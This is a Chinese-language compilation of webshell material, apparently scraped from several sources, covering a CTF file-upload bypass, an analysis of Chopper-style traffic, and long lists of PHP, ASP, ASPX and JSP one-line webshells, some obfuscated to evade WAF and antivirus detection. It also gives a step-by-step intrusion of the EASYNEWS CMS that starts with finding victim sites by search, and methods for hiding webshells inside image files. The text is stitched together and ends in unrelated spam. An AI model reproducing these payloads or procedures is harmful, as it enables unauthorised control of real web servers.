一句话木马图片制作(三种方法)重点讲义资料
攻防世界上传一句话木马

攻防世界上传⼀句话⽊马这道题⾸先是检查出上传图⽚之后回响⼗分快,所以的话有理由相信这就是js前端过滤之后查看源代码发现的确是在前端就进⾏了过滤,只允许上传 jpg png。
下⾯是常识好吧。
前端过滤的常见⽅法::1、filter():数组的过滤器⽅法2、Object.keys():es6提供的⽅法,⽤来获取对象键值对的键的集合3、every():数组的every⽅法,因为检查数组内的所有元素是否都满⾜某⼀条件,如果都满⾜返回true,.如果有⼀项元素不满⾜就返回false。
4、includes():es7中提供的新⽅法,⽤于检测某字符串中是否包含给定的值,如果有返回true,没有返回false,数组中也有该⽅法//假设后端通过接⼝给我们的数据如下:下⾯是⼀个例⼦let data = [ {name: 'Andy',age: 13}, {name: 'Jack',age: 14}, {name: 'Lucy',age: 12} ]//在实际项⽬中,我们需要根据筛选框中的条件来实现数据的过滤,下⾯为过滤⽅法://@param condition 过滤条件//@param data 需要过滤的数据let filter=(condition,data)=>{return data.filter( item => {return Object.keys( condition ).every( key => {return String( item[ key ] ).toLowerCase().includes(String( condition[ key ] ).trim().toLowerCase() )} )} )}//假设选择的条件为name中带字母a的元素var condition={name:'a'}filter(condition,data) //[ {name: 'Andy',age: 13},{name: 'Jack',age: 14}]//假设选择的条件为name中带字母a,⽽且age为13的元素var condition={name:'a',age:13}filter(condition,data) //[ {name: 'Andy',age: 13}]相当于是函数的使⽤⼀样了吧,,filter() 个⼈感觉是这样的⾸先是上传⼀句话⽊马,<?php @eval($_POST['attack']) ?>审计代码知道只能是上传 png j什么的格式之后就是把写好的⼀句话⽊马改后缀成png然后上传打开代理,使⽤ burpsuit 抓包,,,,这⾥的话⼀定要注意代开burpsuit的开关在上传,不要弄错,不然的话会抓到错误的包正确的包应该是有⽂件名和⽂件类型的⼀定要是这样的才⾏,之后就是把⽂件的后缀改成php这样就可以实现⽂件的绕过算了我现在还不知道为什么要这样做,,,,,,不过就是跟着做⽽已下⾯是参考的两篇博客::::这是我参考做出来的博客链接,,,,做的时候有两个要点:::;⾸先是在burpsuit⾥⾯会返回⼀个⽂件,,,之后使⽤中国蚁剑连接的是返回加上那个⽂件的url,,不是之前原来的⽹页的url第⼆点是使⽤中国蚁剑的时候不能连校园⽹,这样的话打开不了⽂件管理,有时侯还连不上,保存之后就是直接接右键⽂件管理(添加成功之后),或者是直接双击打开,,,,,就是这样了。
一句话木马原理

一句话木马原理二、WEB一句话木马菜刀,Cknife,蚁剑这些工具原理比较接近,使用方法大家应该比较熟了,可能有些做渗透测试的朋友也没有了解过原理。
我们做防护规则,对常用的工具都会做分析,先以Cknife为例来分析这个系列。
2.1Ckinife连接2.1.1 PHP一句话连接Asp,aspx和PHP的连接原理比较接近,PHP最基础的一句话如下:<?php @eval($_POST['pass’]);?>通过Cknife等发包工具,把需要执行的php脚本片段,通过密码pass参数传给服务器端,服务器通过eval函数进行执行。
可以看出,一句话木马的本质是PHP,ASP(ASPX)语言具有eval函数,使之具有了动态性,基于动态性,攻击者就可以把命令传给服务器端的一句话木马进行执行,这些命令在config.ini作了定义。
发的请求包中,action参数用来传输base64编码后的命令,可能是考虑到特殊字符容易出问题或者不符合rfc协议之类的原因。
真正的连接密码pass,先对action参数做base64解密,然后传到服务器端执行。
我们把PHP命令做解码,得到@ini_set("display_errors","0");@set_time_limit(0);@set_magi c_quotes_runtime(0);echo("-|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($ F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){ $P=$D."/".$N;$T=@date("Y-m-dH:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P ),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."";if(@is_dir($P))$M.=$N."/ ".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();可以看到通过循环遍历某个路径下的文件,其中路径又是通过z1参数base64编码进行传递,截图是查看C盘目录。
一句话木马:ASPX篇

⼀句话⽊马:ASPX篇aspx⽊马收集:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>随⽇期变化的连接密码, 服务端写法:<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format(" {0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>例如:菜⼑的密码为chopper,在前⾯加三个字符,新密码为:{D}chopper<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%><script runat="server" language="JScript">function popup(str) {var q = "u";var w = "afe";var a = q + "ns" + w;var b= eval(str,a);return(b);}</script><%popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));%>密码 z<%@ Page Language="Jscript" validateRequest="false" %><%var kengkeng = Request.Item["never"];Response.Write(eval(keng,"unsafe"));%><%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>密码 -7<%@PAGE LANGUAGE=JSCRIPT%><%var PAY:String=Request["\x61\x62\x63\x64"];eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");%>密码 abcd<%@PAGE LANGUAGE=JSCRIPT%><%var PAY:String=Request["\x61\x62\x63\x64"];eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");%>过狗过D盾⼀句话<%@ Page Language="Jscript" Debug=true%><%vara=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5Gb3JtWyJwYXNzIl0=")); var b=System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("dW5zYWZl"));var c=eval(a,b);eval(c,b);%><%@ Page Language="Jscript" Debug=true%><%var a=Request.Form["pass"];var b="unsa",c="fe",d=b+c;function fun(){return a;}eval(fun(),d);%>。
木马的常用伪装手段

木马的常用伪装手段
1木马程序更名:为增强木马程序的欺骗性,木马的设计者通常会给木马取一个极具迷
惑性的名称(一般与系统文件名相似,如svchOsto Exe等)或者允许控制端用户自由设定安装后的木马文件名。
这就使得用户很难判断所感染的木马类型。
2扩展名欺骗:这是黑客惯用的一-种手法,其主要是将木马伪装成图片、文本、Word
文档等文件,以掩饰自己真实的文件类型,例如将木马程序的名称为“文件名.exe"的文件改为“文件名txtexe”。
此时,用户只需把该文件的扩展名显示出来,就可以轻
松识别出此文件的类型。
3修改程序图标:木马服务端所用的图标有一定的规律可循,木马经常故意伪装成常用
图标的形式(例如文本文件的图标),等待用户因为疏忽而将其认为是应用程序图标而
双击启动。
4捆绑文件:这种方式是将木马捆绑到- -个安装程序中,当用户双击启动程序时,木
马就会随之启动,并运行于计算机系统中。
被捆绑的文件一般是可执行文件,例如后
缀名为“.Exe”,“.COM”之类的文件。
5定制端口:老式木马的端口都是固定的,这位用户判断电脑是否带有木马带来了方便
o现在很多木马都加入了定制端口的功能,控制端用户可以在“1024-6535”之间任意
选择一个端口作为木马端口,这样大大提高了用户判断电脑感染木马类型的难度。
6自我复制:是为了弥补木马的一个缺陷而设计的当服务端用户打开含有木马的文件后,木马会将自己复制到系统目录中(C:WINDOWS System或C:WINDOWS\System32目录)。
各种一句话木马大全

各种⼀句话⽊马⼤全<%eval request("c")%><%execute request("c")%><%execute(request("c"))%><%ExecuteGlobal request("sb")%>%><%Eval(Request(chr(35)))%><%<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%><%eval(Request.Item["c"],"unsafe");%>'备份专⽤<%eval(request("c")):response.end%>'⽆防下载表,有防下载表突破专⽤⼀句话<%execute request("c")%><%<%loop<%:%><%<%loop<%:%><%execute request("c")%><%execute request("c")<%loop<%:%>'防杀防扫专⽤<%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>'不⽤"<,>"<script language=VBScript runat=server>execute request("c")</script><% @Language="JavaScript" CodePage="65001"var lcx={'名字':Request.form('#'),'性别':eval,'年龄':'18','昵称':'请叫我⼀声⽼⼤'};lcx.性别((lcx.名字)+'') %><script language=vbs runat=server>eval(request("c"))</script><script language=vbs runat=server>eval_r(request("c"))</script>'不⽤双引号<%eval request(chr(35))%>'可以躲过雷客图<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1") nguage="VBScript" ms.AddObject"response",response ms.AddObject"request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%><%dy=request("dy")%><%Eval(dy)%>'容错代码if Request("sb")<>"" then ExecuteGlobal request("sb") end ifPHP⼀句话复制代码代码如下:<?php eval($_POST1);?><?php if(isset($_POST['c'])){eval($_POST['c']);}?><?php system($_REQUEST1);?><?php ($_=@$_GET1).@$_($_POST1)?><?php eval_r($_POST1)?><?php @eval_r($_POST1)?>//容错代码<?php assert($_POST1);?>//使⽤Lanker⼀句话客户端的专家模式执⾏相关的PHP语句<?$_POST['c']($_POST['cc']);?><?$_POST['c']($_POST['cc'],$_POST['cc'])?><?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使⽤这个后,使⽤菜⼑⼀句话客户端在配置连接的时候在"配置"⼀栏输⼊*/:<O>h=@eval_r($_POST1);</O><?php echo `$_GET['r']` ?>//绕过<?限制的⼀句话<script language="php">@eval_r($_POST[sb])</script>JSP⼀句话复制代码代码如下:<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>提交客户端<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>ASPX⼀句话<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>再补充⼏个:推荐还是把⼀句话加进图⽚⾥⾯去。
一句话木马使用演示(转载)

⼀句话⽊马使⽤演⽰(转载)实例⼀:“⼀句话⽊马”⼊侵“EASYNEWS新闻管理系统”“EASYNEWS新闻管理系统 v1.01 正式版”是在企业⽹站中⾮常常见的⼀套整站模版,在该⽹站系统的留⾔本组件中就存在着数据过滤不严漏洞,如果⽹站是默认路径和默认⽂件名安装的话,⼊侵者可以利⽤该漏洞直接上传ASP⽊马程序控制整个⽹站服务器。
Step1 搜索⼊侵⽬标使⽤了“EASYNEWS新闻管理系统 v1.01 正式版”的⽹站,在⽹站页⾯的底部版权声明处,往往会有关键字符为“ 版权所有”。
只要在GOOGLE或百度中以该字符串为关键词进⾏搜索,就可以找到⼤量的⼊侵⽬标。
Step2 检测⼊侵条件在这⾥,我们以⽹站“/news/index.htm”为例进⾏⼀次⼊侵检测。
“EASYNEWS新闻管理系统”⽹站的留⾔本数据库⽂件默认是位于“\ebook\db\ebook.asp”,⾸先在浏览器地址栏中输⼊“/news/ebook/db/ebook.asp”,回车后在浏览器页⾯中将显⽰访问留⾔本数据库⽂件的返回信息。
如果在页⾯中显⽰乱码,则说明该⽹站的留⾔本数据库⽂件没有改名,可以进⾏⼊侵。
Step3 在数据库中插⼊ASP后门前⾯提到了该新闻系统的留⾔本插件存在过滤不严,因此我们可以通过提交发⾔,在数据库中插⼊“⼀句话⽊马”服务端代码:在浏览器中访问“/news/khly.htm”,打开提交留⾔页⾯。
在提交页⾯中的“主页”栏中,直接填写“⼀句话⽊马”服务端代码,其它随便填写。
确定后点击“发表留⾔”按钮,⽂章发表成功后,即可将“⼀句话⽊马”服务端代码插⼊到留⾔本数据库中了。
Step4 连接后门上传Webshell由于留⾔本数据库⽂件“ebook.asp”是⼀个ASP⽂件,所以我们插⼊到数据库⽂件中的ASP语句将会被执⾏。
将“⼀句话⽊马”客户端中的提交地址改为留⾔本数据库⽂件地址,然后⽤浏览器打开客户端,在上⽅的输⼊框中输⼊上传ASP⽊马的保存路径,在下⾯的输⼊框中可以粘贴⼊其它的ASP⽊马代码,这⾥选择的是桂林⽼兵⽹站管理助⼿ASP代码。
PHP之一句话木马

PHP之⼀句话⽊马什么是⼀句话⽊马⼀句话⽊马就是只需要⼀⾏代码的⽊马,短短⼀⾏代码,就能做到和⼤马相当的功能。
为了绕过waf的检测,⼀句话⽊马出现了⽆数中变形,但本质是不变的:⽊马的函数执⾏了我们发送的命令。
我们如何发送命令,发送的命令如何执⾏?我们可以通过GET 、POST 、COOKIE这三种⽅式向⼀个⽹站提交数据,⼀句话⽊马⽤$_GET[' ']、$_POST[' ']、$_COOKIE[' ']接收我们传递的数据,并把接收的数据传递给⼀句话⽊马中执⾏命令的函数,进⽽执⾏命令。
所以看到的经典⼀句话⽊马⼤多都是只有两个部分,⼀个是可以执⾏代码的函数部分,⼀个是接收数据的部分。
例如:<?php eval(@$_POST['a']); ?>其中eval就是执⾏命令的函数,$_POST['a']就是接收的数据。
eval函数把接收的数据当作PHP代码来执⾏。
这样我们就能够让插⼊了⼀句话⽊马的⽹站执⾏我们传递过去的任意PHP语句。
这便是⼀句话⽊马的强⼤之处。
⽰例:使⽤其他函数制作⼀句话⽊马assert函数<?php assert(@$_POST['a']); ?>create_function函数<?php$fun = create_function('',$_POST['a']);$fun();>把⽤户传递的数据⽣成⼀个函数fun(),然后再执⾏fun()call_user_func回调函数<?php@call_user_func(assert,$_POST['a']);>call_user_func这个函数可以调⽤其它函数,被调⽤的函数是call_user_func的第⼀个函数,被调⽤的函数的参数是call_user_func的第⼆个参数。
常见ASP一句话木马分析及防御

常见ASP一句话木马分析及防御作者:罗婷罗芳来源:《电子技术与软件工程》2013年第22期摘要什么是一句话木马?一句话木马本身并不是任何黑客程序,只是在很多网站上都会使用到的普通代码。
一句话木马只是网络攻击当中的一个小块,但通过对其防御可以大大减少相关的攻击。
【关键词】木马分析木马防御很多制作网站的朋友经常会听到一句话:“我的网站又被一句话木马入侵了。
”但什么是一句话木马?一句话木马本身并不是任何黑客程序,只是在很多网站上都会使用到的普通代码。
但这个代码会给网站打开一个缺口,通过这个缺口黑客可以将真正的木马,也就是通常所说的“大马”注入到网站服务器当中。
“大马”注入到网站服务器后,可通过控制整个网站的所有的源代码,其中程序修改或删除网站的其它内容。
如果一不小心注入的是网站服务器,那么影响的就不是一个网站,而是整个网站服务器上的所有网站。
黑客通常通过google网站查找到全部ASP类型的网站。
然后,在留言板或文章发表区域等可以将内容上传到服务器上的地方输入一句话木马。
也就是想办法将一句话木马程序代码添加到网站的后台数据库。
目前在当下黑客经常使用的ASP一句话木马主要有下面几种:(1)<% execute(request("value")) %>(2)<% execute request("value") %>(3)<% eval request("value ") %>(4)<% eval request(value) %>通过语法变形后还有下列几种:(1)<% If Request("value")<>"" Then Execute(Request("value"))%>(2)(3)<% eval(Request.Item["value"],"unsafe");%>如果再继续完善后,甚至可以绕过网站漏洞筛查程序,在这里不作说明。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
图片木马制作的三种方法Copy命令制作
1.asp内容:
打开cmd,数据一下命令:
此时打开两个jpg文件,相比:
且打开2.jpg可以像1.jpg一样显示图像。
把以下代码放入目标网站,即可按asp执行。
<% #include files=”2.jpg”%>
Uedit32(转载):
本制作来自于:雪糕。
我们通常在得到webshell之后都想给自己留个后门,等下次或以后有用得到的时候再进来
看看。
但如果直接加入一句话木马<%execute request("value")%>到asp文件中时,在该页面上就会有类似如下的错误:
Microsoft VBScript 运行时错误错误'800a000d'
类型不匹配: 'execute'
/news1/show.asp,行 3
所以我们就可以开动脑筋了,使用插入一句话木马的图片做我们的后门。
而且我们如果有足够的权限的话(希望网站中的文件可写),就直接把网站原有的图片变成后门,然后在那个asp文件中加入调用图片后门的代码:
<!--#include file="图片后门地址"-->
这样就没有上面的“类型不匹配: 'execute'”错误了,而且也更好的隐藏了我们的后门。
新挑战始终会伴着新事物的出现而出现,当我们直接将我们的一句话木马的asp文件改成jpg 或gif文件的时候,这个图片文件是打不开的,这又容易被管理员发现。
然后我们就又开始思考并寻找新的方法:制作可以显示图片内容的图片格式后门。
制作步骤:
一、前期准备
材料:
1.一张图片:1.jpg
2.一句话木马服务器端代码:
<%execute request("value")%>(其他的一句话也行)
3.一句Script标签:
<SCRIPT RUNAT=SERVER LANGUAGE=JA V ASCRIPT>一句话木马服务器端代码</SCRIPT>
4. 调用图片后门代码:
<!--#include file="图片地址"-->
工具:UltraEdit
二、开始制作:
1.使用UltraEdit打开1.jpg文件,然后按CTRL +F 进行查找图片中的“<%”和“%>”
其中<%的十六进制代码是3E 25,那么%>就应该是25 3E,但是我们只把25改成00;
之后我们在新建一个文本编辑窗口,将我们的script标签代码
<SCRIPT RUNAT=SERVER LANGUAGE=JA V ASCRIPT><%execute request("value")%>
</SCRIPT>
复制进去,然后点击右键选择十六进制编辑命令,这样会跳转到十六进制数据窗口,
复制所有的十六进制的数据,粘贴到1.jpg的十六进制编辑窗口的最下面,
说明:为什么要粘贴到最下面?
假设你把srcipt标签的十六进制代码粘贴到中间的话,就会破坏图片的完整性,那样下面的图片就看不到了,但是插入的一句话代码还是起作用的。
如图:
最后保存退出。
完成整个过程,我们的图片后门就做成。
看到了吧,图片和原来还是一样的,但有时候会影响图片显示效果。
说明:为什么要把“<%”和“%>”对应的十六进制中的25改成00呢?改成其他的行不行?雪糕猜想:因为在我们的一句话木马服务器代码<%execute request("value")%>中含有“<%”和“%>”们,但我们使用一句话客户端连接时,就可能发生寻找错误,然后就找不到我们的一句话服务器端代码了,所以要把图片中的相似结构改成其他的。
我想25也应该可以改成别的,但还没实验过。
2.我们已经做好了图片后门,然后就是简单的配置一下了。
如果网站的asp网页可以被写入,那我们就将<!--#include file="1.jpg"-->直接插入到网页中,这样这个网页的url就是成了我们使用一句话客户端连接的后门地址了;但要是不走运,那就自己新建一个asp文件,把<!--#include file="1.jpg"-->加进去吧(这里我新建了一个1.asp 文件)。
Ps插入
第二种方法:
1.用PS(photoshop)打开图片
2.文件→文件简介
插入你需要的木马代码
3.文件→保存(保存:覆盖源文件你也可以另存为你想要的其它格式)
中粮礼品卡中粮礼品册 kwVl1tzAjRdL。